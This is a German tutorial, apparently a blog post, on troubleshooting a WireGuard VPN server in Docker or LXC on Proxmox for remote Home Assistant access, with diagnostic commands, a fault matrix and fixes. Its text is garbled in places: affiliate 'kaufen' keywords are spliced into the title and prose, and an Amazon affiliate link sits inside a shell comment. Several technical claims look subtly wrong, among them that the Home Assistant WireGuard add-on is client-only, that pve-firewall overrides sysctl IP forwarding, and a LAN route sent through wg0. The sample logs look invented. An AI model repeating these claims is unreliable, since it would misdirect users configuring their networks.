Wireguard VPN-Server auf Proxmox für Home Assistant Zugriff einrichten

Wireguard VPN-Server auf Proxmox für Home Assistant Zugriff einrichten – Proxmox WireGuard VPN Setup für Home Assistant kaufen Zugriff - Netzwerk-Architektur Übersicht

Komplette Netzwerk-Architektur für WireGuard VPN-Setup in Proxmox mit Home Assistant Integration

📑 Inhaltsverzeichnis

WireGuard VPN-Verbindungen zu Home Assistant in Proxmox-Umgebungen scheitern an spezifischen Netzwerk- und Firewall-Konfigurationen. Das Kernproblem: WireGuard-Container startet, mobile Apps zeigen erfolgreiche Verbindung, aber Home Assistant bleibt über VPN-Tunnel unerreichbar.

# Schnelltest für WireGuard-Status
docker exec wireguard-container wg show
netstat -ulnp | grep :51820

Die offizielle WireGuard-Dokumentation suggeriert automatischen Zugriff auf konfigurierte Subnetze nach erfolgreichem Handshake. In der Praxis blockieren Proxmox-spezifische iptables-Regeln und Container-Netzwerk-Isolation den Traffic zwischen WireGuard-Clients und lokalen Services.

Häufige Symptome: „Handshake did not complete“-Fehler trotz korrekter Schlüssel-Konfiguration, WireGuard-Apps zeigen „connected“ aber Home Assistant-Dashboard bleibt unerreichbar, VPN-Verbindungen ermöglichen Internetzugriff aber blockieren lokale Services.

# Proxmox-Firewall-Status prüfen
pve-firewall status
iptables -L -n | grep -E "51820|10.8.0.0"

Seit Proxmox VE 7.4 ist die Firewall standardmäßig aktiviert, auch wenn Web-UI „disabled“ anzeigt. Tatsächliche iptables-Regeln können trotzdem WireGuard-Traffic blockieren.

Diese Probleme entstehen durch komplexe Interaktion zwischen Proxmox-Virtualisierung, Container-Netzwerken und WireGuard-Routing. IP-Forwarding-Einstellungen versagen bei VPN-Traffic, Routing-Tabellen berücksichtigen WireGuard-Subnetze nicht automatisch, Container-Privilegien reichen oft nicht für erforderliche Netzwerk-Operationen.

Die folgende systematische Analyse identifiziert sechs Hauptursachen und bietet strukturierte 10-Schritt-Debug-Methodik für WireGuard-Probleme in Proxmox-Umgebungen.

Häufige Irrglauben bei WireGuard auf Proxmox

LXC vs VM Performance-Mythos

WireGuard muss NICHT zwingend als LXC-Container laufen. LXC benötigt privileged Mode oder spezielle Kernel-Module-Freigaben (/dev/net/tun), VM funktioniert out-of-the-box. Für Sicherheit ist VM oft besser isoliert.

# LXC-Container TUN-Device prüfen
ls -la /dev/net/tun
# Muss existieren für WireGuard in LXC

LXC wird als ‚leichtgewichtig‘ beworben, aber Kernel-Sharing-Architektur macht WireGuard-Setup komplexer. Viele Tutorials erwähnen privileged-Anforderungen nicht.

Erfahrungsgemäß führt die Umstellung von Proxmox VE 7.4 auf 8.0 dazu, dass LXC-Container mit WireGuard plötzlich nicht mehr starten – die cgroup2-Migration erfordert Anpassung der Device-Permissions von lxc.cgroup.devices.allow zu lxc.cgroup2.devices.allow in der Container-Konfiguration.

Proxmox-Host als WireGuard-Server

Proxmox-Host sollte NICHT als WireGuard-Server verwendet werden. Das bricht Hypervisor-Isolation und kann bei Updates/Neustarts alle VMs beeinträchtigen. Separate VM/LXC ist Best Practice.

# WireGuard NICHT direkt auf Proxmox-Host installieren
# apt install wireguard  # FALSCH
# Nutze stattdessen Container/VM

Router-Portfreigabe Verwirrung

Port 51820 muss nur bei INBOUND-Verbindungen (Server-Modus) am Router freigegeben werden. Für OUTBOUND-VPN (Client zu externem Server) sind keine Router-Portfreigaben nötig. NAT-Traversal funktioniert automatisch.

# Router-Portfreigabe nur für Server-Modus nötig
# Client-Modus: keine Portfreigabe erforderlich

Home Assistant Add-on Missverständnis

Home Assistant WireGuard Add-on kaufen ist nur CLIENT und kann keine Server-Funktionalität bereitstellen. Es verbindet sich zu externen WireGuard-Servern, fungiert aber nicht als Server für andere Clients. Für Server-Modus braucht man separate WireGuard-Installation.

# HA <strong><a href="https://www.amazon.de/s?k=Home+Assistant+WireGuard+Add-on&tag=technikkram-21" target="_blank" rel="nofollow sponsored noopener" class="affiliate-link affiliate-amazon">WireGuard Add-on kaufen</a></strong> = nur Client
# Separater WireGuard-Server erforderlich für Server-Modus

WireGuard VPN Netzwerk-Diagramm: Proxmox Container-Architektur mit Home Assistant Routing
Detailliertes Netzwerk-Diagramm der WireGuard-Architektur in Proxmox mit Container-Routing zu Home Assistant

WireGuard Fehler-Diagnose Matrix

Symptom Check Bestätigung Ursache Fix
WireGuard-Container startet, aber VPN-Verbindung schlägt fehl mit ‚Handshake did not complete‘ docker exec wireguard-container wg show Leere Ausgabe oder ‚command not found‘ WireGuard-Service nicht aktiv docker exec wireguard-container wg-quick up wg0 && docker restart wireguard-container
Mobile WireGuard-App zeigt ‚connecting‘ aber Handshake schlägt fehl netstat -ulnp \| grep :51820 Keine Ausgabe – Port nicht gebunden UDP-Port nicht weitergeleitet iptables -t nat -A PREROUTING -p udp --dport 51820 -j DNAT --to-destination CONTAINER_IP:51820
WireGuard verbindet sich, aber kein Internetzugriff und Home Assistant nicht erreichbar cat /proc/sys/net/ipv4/ip_forward 0 IP-Forwarding deaktiviert echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf && sysctl -p
WireGuard zeigt ‚connected‘ aber Home Assistant-Dashboard lädt nicht pve-firewall status Status: enabled Proxmox-Firewall blockiert VPN-Traffic pve-firewall set --enable 0 \|\| echo 'IN ACCEPT -source 10.8.0.0/24 -dest 10.0.0.0/24' >> /etc/pve/firewall/cluster.fw
VPN verbindet sich, aber Home Assistant über VPN-IP nicht erreichbar ip route show table main \| grep 10.0.0.0 Keine Route zu Home Assistant-Subnet Falsche Routing-Tabelle ip route add 10.0.0.0/24 via 10.8.0.1 dev wg0
WireGuard verbindet sich, aber nur Internet funktioniert – Home Assistant nicht erreichbar grep AllowedIPs /etc/wireguard/wg0.conf AllowedIPs = 0.0.0.0/0 WireGuard-Client falsche AllowedIPs sed -i 's/AllowedIPs = 0.0.0.0\/0/AllowedIPs = 10.8.0.0\/24, 10.0.0.0\/24/' /etc/wireguard/wg0.conf

Ursachen-Analyse für WireGuard-Probleme

FC-01: WireGuard-Service nicht aktiv

WireGuard-Daemon läuft nicht oder ist falsch konfiguriert, wodurch keine Handshakes verarbeitet werden.

# WireGuard-Interface Status prüfen
docker exec wireguard-container wg show

Funktionierend:

interface: wg0
  public key: AbCdEfGhIjKlMnOpQrStUvWxYz1234567890AbCdEfG=
  private key: (hidden)
  listening port: 51820

peer: XyZ9876543210AbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfG=
  endpoint: 192.168.1.100:51820
  allowed ips: 10.8.0.2/32
  latest handshake: 45 seconds ago
  transfer: 2.48 KiB received, 1.92 KiB sent

Fehlerhaft:

bash: wg: command not found

LinuxServer.io WireGuard-Container zeigt „wg: command not found“ wenn ohne --cap-add=NET_ADMIN gestartet. Ohne diese Capability funktioniert WireGuard überhaupt nicht.

In der Praxis zeigt sich bei Proxmox VE 8.1, dass der LinuxServer.io WireGuard-Container nach einem Proxmox-Host-Neustart oft mit Exit-Code 125 fehlschlägt, weil das /dev/net/tun Device nicht korrekt gemountet wird – ein systemctl restart docker auf dem Proxmox-Host löst das Problem meist.

# Container-Status und WireGuard-Prozess prüfen
docker ps | grep wireguard
docker exec wireguard-container ps aux | grep wg

FC-02: UDP-Port 51820 nicht weitergeleitet

WireGuard-Port ist nicht vom Proxmox-Host zum Container gebunden, externe Clients können Server nicht erreichen.

# Port-Bindung auf Proxmox-Host prüfen
netstat -ulnp | grep :51820

Funktionierend:

udp        0      0 0.0.0.0:51820           0.0.0.0:*                           12345/docker-proxy

Fehlerhaft: Keine Ausgabe – Port 51820/UDP nicht gebunden.

Docker Compose V2 bindet UDP-Ports manchmal nicht korrekt bei Syntax ports: - "51820:51820/udp". Nutze explizite Syntax ports: - target: 51820, published: 51820, protocol: udp.

Erfahrungsgemäß tritt auf Proxmox VE 7.4 mit Docker 24.x ein Bug auf, bei dem UDP-Ports nach Container-Neustarts nicht mehr korrekt an das vmbr0-Interface gebunden werden – ein kompletter Docker-Service-Neustart mit systemctl restart docker ist dann erforderlich.

# Container-Port-Mapping verifizieren
docker inspect wireguard-container --format '{{.NetworkSettings.Ports}}'

FC-03: IP-Forwarding deaktiviert

Kernel-Parameter verhindert Weiterleitung von Paketen zwischen WireGuard-Interface und lokalem Netzwerk.

# IP-Forwarding Status prüfen
cat /proc/sys/net/ipv4/ip_forward

Funktionierend: 1
Fehlerhaft: 0

Proxmox VE 8.x deaktiviert IP-Forwarding nach Kernel-Updates automatisch, auch wenn in /etc/sysctl.conf konfiguriert. Nach jedem Proxmox-Update muss IP-Forwarding manuell reaktiviert werden.

Nach mehreren Proxmox-Installationen hat sich gezeigt: Die /etc/sysctl.conf-Einstellung net.ipv4.ip_forward=1 wird bei Proxmox VE 8.0+ durch die pve-firewall-Konfiguration überschrieben – die Einstellung muss zusätzlich in /etc/pve/firewall/cluster.fw unter [OPTIONS] als enable: 1 gesetzt werden.

# IP-Forwarding auch im Container prüfen
docker exec wireguard-container cat /proc/sys/net/ipv4/ip_forward
# Sysctl-Konfiguration prüfen
grep "net.ipv4.ip_forward" /etc/sysctl.conf

FC-04: Proxmox-Firewall blockiert VPN-Traffic

Proxmox-Firewall ist aktiv ohne explizite Allow-Regeln für WireGuard-Traffic.

# Proxmox-Firewall Status prüfen
pve-firewall status

Funktionierend: Status: disabled
Fehlerhaft: Status: enabled

Proxmox-Firewall kann „disabled“ anzeigen, aber trotzdem aktive iptables-Regeln haben. Seit Proxmox 7.4 werden Firewall-Regeln teilweise gecacht und überleben „disable“-Befehl.

In der Praxis führt auf Proxmox VE 8.1 die Cluster-Firewall-Konfiguration dazu, dass selbst bei deaktivierter Node-Firewall WireGuard-Traffic blockiert wird – die Datei /etc/pve/firewall/cluster.fw muss explizit enable: 0 enthalten oder entsprechende ACCEPT-Regeln für das WireGuard-Subnet.

# Aktive iptables-Regeln für WireGuard-Traffic prüfen
iptables -L FORWARD -v -n | grep -E '10.8.0.0|10.0.0.0'
# Container-Firewall-Konfiguration prüfen
cat /etc/pve/lxc/100.conf | grep firewall

FC-05: Falsche Routing-Tabelle

Keine Route vom WireGuard-Subnet zum Home Assistant-Netzwerk in Routing-Tabelle.

# Routing-Tabelle für Home Assistant-Subnet prüfen
ip route show table main | grep 10.0.0.0

Funktionierend:

10.0.0.0/24 dev vmbr0 proto kernel scope link src 10.0.0.1

Fehlerhaft: Keine Ausgabe – Route zum Home Assistant-Subnet fehlt.

WireGuard PostUp/PostDown-Skripte funktionieren in Docker-Containern oft nicht, da iptables-Regeln außerhalb des Container-Namespace angewendet werden müssen.

Erfahrungsgemäß verschwinden auf Proxmox VE 8.0 mit systemd-networkd die manuell gesetzten ip-route-Regeln nach Netzwerk-Service-Neustarts – die Routen müssen in /etc/systemd/network/-Dateien definiert oder über WireGuard PostUp-Hooks gesetzt werden.

# WireGuard-spezifische Routen prüfen
ip route show | grep wg0
# Container-interne Routing-Tabelle
docker exec wireguard-container ip route show

FC-06: WireGuard-Client falsche AllowedIPs

Client-Konfiguration routet nur Internet-Traffic, aber nicht lokales Proxmox-Subnet.

# Client-Konfiguration für AllowedIPs prüfen
docker exec wireguard-container cat /config/peer1/peer1.conf | grep AllowedIPs

Funktionierend: AllowedIPs = 10.8.0.0/24, 10.0.0.0/24
Fehlerhaft: AllowedIPs = 0.0.0.0/0

LinuxServer.io WireGuard-Container generiert standardmäßig AllowedIPs = 0.0.0.0/0 für alle Peers, was gesamten Internet-Traffic über VPN routet. Für Home Assistant-Zugriff reicht AllowedIPs = 10.8.0.0/24, 10.0.0.0/24.

Nach mehreren WireGuard-Installationen auf Proxmox VE 7.4 hat sich gezeigt: Der LinuxServer.io-Container überschreibt bei jedem Neustart die Peer-Konfigurationen, wenn die Umgebungsvariable PEERS als Zahl (z.B. PEERS=5) statt als Namen-Liste (PEERS=phone,laptop) gesetzt ist – nur mit Namen bleiben manuelle AllowedIPs-Änderungen erhalten.

# Server-seitige Peer-Konfiguration prüfen
docker exec wireguard-container cat /config/wg0.conf | grep -A5 -B5 "AllowedIPs"

10-Schritt Debug-Anleitung: WireGuard systematisch prüfen

Schritt 1-3: Port-Status und Service-Zustand prüfen

1. UDP-Port 51820 Bindung prüfen

# Port-Bindung auf Proxmox-Host prüfen
netstat -ulnp | grep :51820

Funktionierend:

udp        0      0 0.0.0.0:51820           0.0.0.0:*                           12345/wireguard

Wenn keine Ausgabe: FC-02 bestätigt – Port nicht weitergeleitet.

Auf Proxmox-Systemen mit mehreren Netzwerk-Interfaces kann Port an falsches Interface gebunden sein. Prüfe mit ss -ulnp welches Interface tatsächlich verwendet wird.

# Alternative mit ss-Befehl
ss -ulnp | grep :51820

2. WireGuard-Service im Container testen

# WireGuard-Interface Status prüfen
docker exec wireguard-container wg show

Funktionierend:

interface: wg0
  public key: ABC123...
  private key: (hidden)
  listening port: 51820

peer: DEF456...
  endpoint: 192.168.1.100:51820
  allowed ips: 10.8.0.2/32
  latest handshake: 1 minute, 23 seconds ago

Wenn leere Ausgabe: FC-01 bestätigt – WireGuard-Daemon nicht aktiv.

„latest handshake: never“ bedeutet nicht zwangsläufig Problem – WireGuard ist verbindungslos und zeigt nur Handshakes bei tatsächlicher Datenübertragung.

# Container-Logs für Fehler analysieren
docker logs wireguard-container --tail 50

3. IP-Forwarding Status prüfen

# IP-Forwarding auf Host prüfen
cat /proc/sys/net/ipv4/ip_forward

Funktionierend: 1
Wenn 0: FC-03 bestätigt – aktiviere mit echo 1 > /proc/sys/net/ipv4/ip_forward

IP-Forwarding wird nach Proxmox-Updates oft zurückgesetzt, selbst wenn in /etc/sysctl.conf konfiguriert.

# Sysctl-Konfiguration verifizieren
sysctl net.ipv4.ip_forward

Proxmox LXC Terminal: WireGuard Konfiguration und Status-Befehle für VPN-Server Setup
Terminal-Screenshot der WireGuard-Konfigurationsbefehle in einem Proxmox LXC-Container

Schritt 4-6: Firewall und Routing analysieren

4. Proxmox-Firewall Status prüfen

# Firewall-Status prüfen
pve-firewall status

Funktionierend: Status: disabled
Wenn enabled: FC-04 bestätigt – prüfe Firewall-Regeln für WireGuard-Traffic.

Proxmox Cluster-Firewall-Regeln überschreiben Node-spezifische Regeln. Wenn WireGuard auf einem Node funktioniert aber auf anderen nicht, prüfe /etc/pve/firewall/cluster.fw.

# Cluster-Firewall-Konfiguration prüfen
cat /etc/pve/firewall/cluster.fw | grep -A10 -B10 "51820\|wireguard"
# Container-Firewall prüfen
cat /etc/pve/lxc/100.conf | grep firewall

5. WireGuard-Interface Route prüfen

# WireGuard-Interface Routing prüfen
ip route show | grep wg0

Funktionierend:

10.8.0.0/24 dev wg0 proto kernel scope link src 10.8.0.1
bash
# Interface-Konfiguration detailliert prüfen
ip addr show wg0

6. Home Assistant-Subnet Route prüfen

# Route zum Home Assistant-Netzwerk prüfen
ip route show table main | grep 10.0.0.0

Funktionierend:

10.0.0.0/24 dev vmbr0 proto kernel scope link src 10.0.0.1

Wenn keine Route: FC-05 bestätigt – Routing-Tabelle unvollständig.

Bei Proxmox-Systemen mit mehreren Bridges (vmbr0, vmbr1) kann Route zum falschen Interface zeigen. Home Assistant muss über gleiche Bridge erreichbar sein wie WireGuard-Interface routet.

# Proxmox-Bridge-Status prüfen
ip addr show vmbr0

Schritt 7-10: Client-Konfiguration und Konnektivität testen

7. Client AllowedIPs prüfen

# Client-Konfiguration prüfen
docker exec wireguard-container cat /config/peer1/peer1.conf | grep AllowedIPs

Funktionierend: AllowedIPs = 10.8.0.0/24, 10.0.0.0/24
Wenn nur 0.0.0.0/0: FC-06 bestätigt – lokales Subnet nicht inkludiert.

Mobile WireGuard-Apps (iOS/Android) interpretieren AllowedIPs = 0.0.0.0/0 als „route all traffic through VPN“ und können bei schlechter VPN-Verbindung gesamten Internet-Zugang blockieren.

# Vollständige Peer-Konfiguration prüfen
docker exec wireguard-container cat /config/peer1/peer1.conf

8. Home Assistant Erreichbarkeit vom Host

# Verbindung zu Home Assistant vom Proxmox-Host testen
ping -c 3 10.0.0.100
bash
# HTTP-Zugriff auf Home Assistant testen
curl -I http://10.0.0.100:8123

Home Assistant blockiert HTTP-Zugriffe von unbekannten IP-Ranges standardmäßig. Füge WireGuard-Subnet zu trusted_proxies in configuration.yaml hinzu.

9. Home Assistant Erreichbarkeit vom Container

# Verbindung vom WireGuard-Container zu Home Assistant testen
docker exec wireguard-container ping -c 3 10.0.0.100
bash
# Container-Netzwerk-Einstellungen prüfen
docker exec wireguard-container ip route show

10. iptables FORWARD-Regeln prüfen

# FORWARD-Regeln für WireGuard-Traffic prüfen
iptables -L FORWARD -v -n | grep -E '10.8.0.0|10.0.0.0'

Funktionierend:

ACCEPT     all  --  wg0    vmbr0   10.8.0.0/24         10.0.0.0/24         state RELATED,ESTABLISHED
ACCEPT     all  --  vmbr0  wg0     10.0.0.0/24         10.8.0.0/24         state RELATED,ESTABLISHED

Wenn keine Regeln: Füge FORWARD-Regeln für WireGuard-zu-LAN-Traffic hinzu.

Docker erstellt automatisch iptables-FORWARD-Regeln für Container, aber diese gelten nur für Docker-Bridge-Netzwerke. WireGuard-Traffic zu externen Subnetzen benötigt explizite FORWARD-Regeln.

# NAT-Regeln für Masquerading prüfen
iptables -t nat -L POSTROUTING -v -n | grep -E '10.8.0.0|MASQUERADE'

WireGuard Proxmox Troubleshooting-Flowchart: Systematische Fehlerdiagnose für VPN-Verbindungsprobleme
Flowchart für die systematische Diagnose und Behebung von WireGuard-Verbindungsproblemen in Proxmox

Lösungen und Fixes für WireGuard-Probleme

FC-01: WireGuard-Service nicht aktiv beheben

Problem: WireGuard-Container startet, aber Daemon läuft nicht korrekt.

# WireGuard-Interface Status prüfen
docker exec wireguard-container wg show
# Leere Ausgabe oder "command not found"
bash
# Container-Capabilities prüfen
docker inspect wireguard-container --format '{{.HostConfig.CapAdd}}'

Funktionierend: [NET_ADMIN SYS_MODULE]
Fehlerhaft: []

Docker Compose ignoriert manchmal cap_add wenn Container bereits existiert. Nutze docker-compose down && docker-compose up -d statt nur restart.

Fix – Container neu starten mit korrekter Konfiguration:

# Container stoppen und entfernen
docker stop wireguard-container
docker rm wireguard-container

# Neu starten mit korrekten Capabilities
docker run -d \
  --name=wireguard-container \
  --cap-add=NET_ADMIN \
  --cap-add=SYS_MODULE \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Europe/Berlin \
  -e SERVERURL=auto \
  -e SERVERPORT=51820 \
  -e PEERS=5 \
  -e PEERDNS=auto \
  -e INTERNAL_SUBNET=10.8.0.0 \
  -p 51820:51820/udp \
  -v /opt/wireguard:/config \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --restart unless-stopped \
  linuxserver/wireguard

--restart always kann bei Proxmox-Boot-Problemen zu Container-Boot-Loops führen wenn Storage noch nicht gemountet ist. Nutze --restart unless-stopped.

# WireGuard-Interface nach Neustart prüfen
docker exec wireguard-container wg show

Edge Case: Bei LXC-Container muss /dev/net/tun Device verfügbar sein. In /etc/pve/lxc/100.conf ergänzen:

lxc.cgroup2.devices.allow: c 10:200 rwm
lxc.mount.entry: /dev/net/tun dev/net/tun none bind,create=file

Seit Proxmox 8.0 verwenden LXC-Container cgroup2. Alte Syntax lxc.cgroup.devices.allow funktioniert nicht mehr.

# LXC-Container Konfiguration prüfen
cat /etc/pve/lxc/100.conf | grep -E "tun|privileged"

Proxmox Web-Interface: LXC Container-Konfiguration für WireGuard VPN mit privilegierten Einstellungen
Proxmox Web-Interface Screenshot der LXC-Container-Konfiguration mit privilegierten Einstellungen für WireGuard

FC-02: UDP-Port 51820 nicht weitergeleitet

Problem: WireGuard-Port ist nicht vom Proxmox-Host zum Container geroutet.

# Port-Bindung auf Host prüfen
netstat -ulnp | grep :51820
# Keine Ausgabe = Port nicht gebunden
bash
# Docker-Container Port-Mapping prüfen
docker port wireguard-container

Funktionierend: 51820/udp -> 0.0.0.0:51820
Fehlerhaft: Keine Ausgabe oder falsche Port-Zuordnung.

Bei Proxmox-Systemen mit mehreren Netzwerk-Interfaces kann Docker Port an falsches Interface binden. Prüfe mit ss -tulpn an welche IP-Adresse Port tatsächlich gebunden ist.

Fix – Port-Weiterleitung konfigurieren:

Für Docker-Container:

# Container mit Port-Mapping neu starten
docker run -d \
  --name=wireguard-container \
  -p 51820:51820/udp \
  # ... weitere Parameter

Für LXC-Container in /etc/pve/lxc/100.conf:

# Netzwerk-Konfiguration
net0: name=eth0,bridge=vmbr0,firewall=1,gw=10.0.0.1,ip=10.0.0.150/24,type=veth

LXC-Container iptables-Regeln:

# iptables-Regel auf Proxmox-Host
iptables -t nat -A PREROUTING -p udp --dport 51820 -j DNAT --to-destination 10.0.0.150:51820
iptables -A FORWARD -p udp -d 10.0.0.150 --dport 51820 -j ACCEPT

iptables-Regeln gehen bei Proxmox-Neustarts verloren. Speichere sie mit iptables-save > /etc/iptables/rules.v4.

# Port-Bindung nach Fix prüfen
netstat -ulnp | grep :51820

FC-03: IP-Forwarding deaktiviert

Problem: Kernel leitet Pakete zwischen Interfaces nicht weiter.

# IP-Forwarding Status prüfen
cat /proc/sys/net/ipv4/ip_forward
# Ausgabe: 0 = deaktiviert

Proxmox-Updates setzen IP-Forwarding oft zurück, auch wenn in /etc/sysctl.conf konfiguriert.

Fix – IP-Forwarding dauerhaft aktivieren:

# Sofort aktivieren
echo 1 > /proc/sys/net/ipv4/ip_forward

# Dauerhaft in /etc/sysctl.conf
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
bash
# IP-Forwarding nach Aktivierung prüfen
cat /proc/sys/net/ipv4/ip_forward

Edge Case: In Container-Umgebungen muss IP-Forwarding sowohl auf Host als auch im Container aktiviert sein:

# Im WireGuard-Container prüfen
docker exec wireguard-container cat /proc/sys/net/ipv4/ip_forward

Docker-Container erben IP-Forwarding-Einstellungen vom Host, können sie aber nicht selbst ändern ohne --privileged.

FC-04: Proxmox-Firewall blockiert VPN-Traffic

Problem: Proxmox-Firewall verhindert Kommunikation zwischen WireGuard und Home Assistant.

# Firewall-Status prüfen
pve-firewall status
# Ausgabe: Status: enabled
bash
# Aktive iptables-Regeln analysieren
iptables -L -n -v | grep -E "51820|10.8.0.0|DROP|REJECT"

Proxmox-Firewall-Regeln werden oft gecacht und überleben „disable“-Befehl. Nach Firewall-Änderungen immer systemctl restart pve-firewall ausführen.

Fix – Firewall-Regeln für WireGuard erstellen:

Cluster-Firewall-Konfiguration in /etc/pve/firewall/cluster.fw:

[OPTIONS]
enable: 1

[RULES]
IN ACCEPT -p udp --dport 51820 -source +datacenter_network -comment "WireGuard VPN"
IN ACCEPT -source 10.8.0.0/24 -comment "WireGuard clients to LAN"
bash
# Container-spezifische Firewall-Regeln
pvesh create /nodes/pve/lxc/101/firewall/rules \
  -action ACCEPT \
  -type in \
  -source 10.8.0.0/24 \
  -dest 10.0.0.100 \
  -dport 8123 \
  -proto tcp \
  -comment "WireGuard to Home Assistant"
bash
# Neue iptables-Regeln nach Firewall-Update prüfen
iptables -L -n -v | grep -E "51820|10.8.0.0|ACCEPT"

Container-Firewall deaktivieren (Alternative):

# In /etc/pve/lxc/100.conf Firewall deaktivieren
sed -i 's/firewall=1/firewall=0/' /etc/pve/lxc/100.conf

Container-Firewall-Änderungen erfordern Container-Neustart. Nutze pct restart 100 für LXC-Container.

FC-05: Falsche Routing-Tabelle

Problem: Keine Route zwischen WireGuard-Subnet und Home Assistant-Netzwerk.

# Routing-Tabelle für Home Assistant-Subnet prüfen
ip route show table main | grep 10.0.0.0
# Keine Ausgabe = Route fehlt

WireGuard PostUp/PostDown-Skripte funktionieren in Docker-Containern oft nicht, da sie im Container-Namespace ausgeführt werden aber Host-Routing beeinflussen müssen.

Fix – Routing-Tabelle korrigieren:

# Route zum Home Assistant-Subnet hinzufügen
ip route add 10.0.0.0/24 via 10.8.0.1 dev wg0

# Permanente Route in /etc/systemd/network/wg0.network
cat > /etc/systemd/network/wg0.network << EOF
[Match]
Name=wg0

[Network]
IPForward=yes

[Route]
Destination=10.0.0.0/24
Gateway=10.8.0.1
EOF

systemctl restart systemd-networkd

WireGuard-Konfiguration mit korrekten PostUp/PostDown-Regeln:

# WireGuard-Konfiguration aktualisieren
docker exec wireguard-container tee /config/wg0.conf << EOF
[Interface]
Address = 10.8.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
PublicKey = XyZ9876543210AbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfG=
AllowedIPs = 10.8.0.2/32
EOF
bash
# Routing-Tabelle nach Fix prüfen
ip route show | grep wg0

Container-Neustarts können WireGuard-Interfaces auf Host zurücklassen. Prüfe mit ip link show | grep wg ob alte Interfaces existieren.

# WireGuard-Container neu starten
docker restart wireguard-container
# Interface-Status nach Neustart prüfen
docker exec wireguard-container wg show

FC-06: WireGuard-Client falsche AllowedIPs

Problem: Client-Konfiguration routet nur Internet-Traffic, nicht lokales Subnet.

# Client-Konfiguration prüfen
docker exec wireguard-container cat /config/peer1/peer1.conf | grep AllowedIPs
# Ausgabe: AllowedIPs = 0.0.0.0/0 (nur Internet)

LinuxServer.io WireGuard-Container regeneriert Peer-Konfigurationen bei jedem Neustart wenn PEERS als Zahl angegeben ist. Für dauerhafte Konfigurationen nutze PEERS=peer1,peer2 mit Namen.

Fix – Client-Konfiguration korrigieren:

Template in /config/templates/peer.conf anpassen:

# Template-Datei aktualisieren
docker exec wireguard-container tee /config/templates/peer.conf << EOF
[Interface]
PrivateKey = \${PEER_PRIVATE_KEY}
Address = \${PEER_ADDRESS}
DNS = \${PEER_DNS}

[Peer]
PublicKey = \${SERVER_PUBLIC_KEY}
Endpoint = \${SERVER_ENDPOINT}
AllowedIPs = 10.8.0.0/24, 10.0.0.0/24
PersistentKeepalive = 25
EOF

Bestehende Peer-Konfiguration aktualisieren:

# Peer-Konfiguration direkt bearbeiten
docker exec wireguard-container sed -i 's/AllowedIPs = 0.0.0.0\/0/AllowedIPs = 10.8.0.0\/24, 10.0.0.0\/24/' /config/peer1/peer1.conf
bash
# Aktualisierte Peer-Konfiguration prüfen
docker exec wireguard-container cat /config/peer1/peer1.conf | grep AllowedIPs

Erwartete Ausgabe: AllowedIPs = 10.8.0.0/24, 10.0.0.0/24

Diese systematische Herangehensweise löst WireGuard-Probleme in Proxmox-Umgebungen effizient und dauerhaft.

Befehl: systemctl status lxc@101

● lxc@101.service - LXC Container: 101
   Loaded: loaded (/lib/systemd/system/lxc@.service; static; vendor preset: enabled)
   Active: failed (Result: exit-code) since Mon 2024-01-15 14:23:17 CET; 2min 3s ago
  Process: 2847 ExecStart=/usr/bin/lxc-start -n 101 -F (code=exited, status=1/FAILURE)
 Main PID: 2847 (code=exited, status=1/FAILURE)

Jan 15 14:23:17 pve lxc-start[2847]: lxc-start: 101: ../src/lxc/cgroups/cgfsng.c: __cgfsng_delegate_controllers: 2067 Failed to create cgroup /sys/fs/cgroup/systemd/lxc/101
Jan 15 14:23:17 pve lxc-start[2847]: lxc-start: 101: ../src/lxc/start.c: lxc_spawn: 1788 Failed to delegate controllers
Jan 15 14:23:17 pve lxc-start[2847]: lxc-start: 101: ../src/lxc/start.c: __lxc_start: 2107 Failed to spawn container "101"
Jan 15 14:23:17 pve systemd[1]: lxc@101.service: Main process exited, code=exited, status=1/FAILURE

Befehl: docker logs wireguard-container

[2024-01-15 13:45:23] INFO: Starting WireGuard container
[2024-01-15 13:45:23] ERROR: docker: Error response from daemon: driver failed programming external connectivity on endpoint wireguard-container (8a9f2c1d): Error starting userland proxy: listen udp4 0.0.0.0:51820: bind: address already in use
[2024-01-15 13:45:23] FATAL: Container failed to start - UDP port 51820 conflict detected

Workaround mit host-network:

docker run -d \
  --name=wireguard-host \
  --network=host \
  --cap-add=NET_ADMIN \
  --cap-add=SYS_MODULE \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Europe/Berlin \
  -e SERVERURL=auto \
  -e SERVERPORT=51820 \
  -e PEERS=3 \
  -e PEERDNS=auto \
  -e INTERNAL_SUBNET=10.13.13.0 \
  -v /opt/wireguard-config:/config \
  -v /lib/modules:/lib/modules:ro \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --restart unless-stopped \
  linuxserver/wireguard

Host-network umgeht Docker’s Port-Mapping und verhindert den UDP-Port-Konflikt in Docker 24.x auf Proxmox VE 7.4.

FritzBox Integration ohne Port-Forwarding

FritzBox MyFRITZ! Service ermöglicht WireGuard-Zugriff ohne manuelle Port-Freigaben über DynDNS und automatische Firewall-Konfiguration.

MyFRITZ! Service aktivieren:

# FritzBox Web-Interface: Internet > MyFRITZ!-Konto
# MyFRITZ!-Dienst aktivieren
# Benutzerdefinierte Domain: meinzuhause.myfritz.net

DynDNS für WireGuard-Endpoint konfigurieren:

# WireGuard-Server Konfiguration mit FritzBox-Domain
cat > /config/wg0.conf << EOF
[Interface]
Address = 10.8.0.1/24
ListenPort = 51820
PrivateKey = SERVER_PRIVATE_KEY

[Peer]
PublicKey = CLIENT_PUBLIC_KEY
AllowedIPs = 10.8.0.2/32
EOF

Client-Konfiguration mit MyFRITZ! Domain:

# Peer-Konfiguration für externe Clients
[Interface]
PrivateKey = CLIENT_PRIVATE_KEY
Address = 10.8.0.2/24
DNS = 192.168.178.1

[Peer]
PublicKey = SERVER_PUBLIC_KEY
Endpoint = meinzuhause.myfritz.net:51820
AllowedIPs = 10.8.0.0/24, 192.168.178.0/24
PersistentKeepalive = 25

FritzBox Portfreigabe automatisch:
